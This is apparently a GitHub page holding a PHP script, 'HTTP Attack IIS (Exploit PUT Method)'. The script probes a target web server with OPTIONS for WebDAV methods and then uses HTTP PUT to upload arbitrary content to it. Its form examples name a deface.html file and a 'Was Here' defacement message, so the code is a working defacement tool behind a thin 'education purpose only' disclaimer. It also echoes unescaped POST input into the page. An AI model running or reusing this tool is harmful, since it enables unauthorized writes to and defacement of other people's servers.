-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathHTTPAttackIIS.php
136 lines (134 loc) · 3.7 KB
/
HTTPAttackIIS.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<?php
/**
* @license GNU General Public License version 2 or later; see LICENSE.txt
**/
function check($host)
{
error_reporting(0);
$fp = @fsockopen($host,80,$errno,$errstr,60);
if(!$fp)
{
$ret = $errstr($errno)."\n";
}
else
{
$out = "OPTIONS / HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: Mozilla/5.0 Firefox/3.6.12\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp,$out);
while(!feof($fp))
{
$ret .= fgets($fp,128);
}
return $ret;
fclose($fp);
}
}
function ExpPut($host,$file,$str)
{
error_reporting(0);
$fp = @fsockopen($host,80,$errno,$errstr,60);
if(!$fp)
{
$ret = $errstr($errno)."\n";
}
else
{
$cmd = $str;
$out = "PUT /".$file." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: Mozilla/5.0 Firefox/3.6.12\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Content-length: ".strlen($cmd)."\r\n";
$out .= "Connection: Close\r\n\r\n";
@fputs($fp,$out);
@fputs($fp,$cmd);
while(!feof($fp))
{
$ret .= fgets($fp,3600);
}
return $ret;
fclose($fp);
}
}
if(isset($_POST['check']))
{
$str = check($_POST['host']);
$output = '<p>'.$_POST['host'].'</p><p>Try Use:</p><ol start="1">';
if(preg_match('/put/',strtolower($str)))
{
$output .= '<li>PUT</li>';
}
if(preg_match('/copy/',strtolower($str)))
{
$output .= '<li>COPY</li>';
}
if(preg_match('/delete/',strtolower($str)))
{
$output .= '<li>DELETE</li>';
}
if(preg_match('/move/',strtolower($str)))
{
$output .= '<li>MOVE</li>';
}
$output .= '</ol>';
$output .= $str;
} elseif(isset($_POST['put']))
{
$put = explode("\r\n\r\n",ExpPut($_POST['host'],$_POST['file'],$_POST['str']));
if(preg_match('/created/',strtolower($put[0])))
{
$output .= "Berhasil bro... :D\n\n";
}
else
{
$output = "Gagal.. :'(\n\n";
}
$output .= $put[0];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<meta name="author" content="Viva Pace USa" />
<title>HTTP Attack IIS (Expoit PUT Method)</title>
<!--
Copyright (C) 2012 ExploreCrew.Org.
All content education purphose only.
Any consequences in views of the use of scripts, techniques, codes,
tutorials, and everything imaginable are purely the
responsibility of the user, NOT
-->
</head>
<body>
<form method="post" action="" enctype="multipart/form-data">
<table border="0">
<tr>
<td valign="top">File</td>
<td valign="top"><input type="text" name="file" value="<?php echo $_POST['file'] ?>" /></td>
<td valign="top">** contoh: deface.html</td>
</tr>
<tr>
<td valign="top">Text</td>
<td valign="top"><textarea name="str" rows="4" cols="50"><?php echo $_POST['str'] ?></textarea></td>
<td valign="top">** contoh: <html>SkyWalk3r Was Here</html></td>
</tr>
<tr>
<td valign="top">Host</td>
<td valign="top"><input type="text" name="host" value="<?php echo $_POST['host'] ?>" /></td>
<td valign="top">** contoh: target.com</td>
</tr>
<tr>
<td valign="top"></td>
<td valign="top"><input type="submit" name="check" value="Check" /><input type="submit" name="put" value="Send" /></td>
<td valign="top"></td>
</tr>
</table>
</form>
<pre>
<?php echo $output ?>
</pre>
</body>
</html>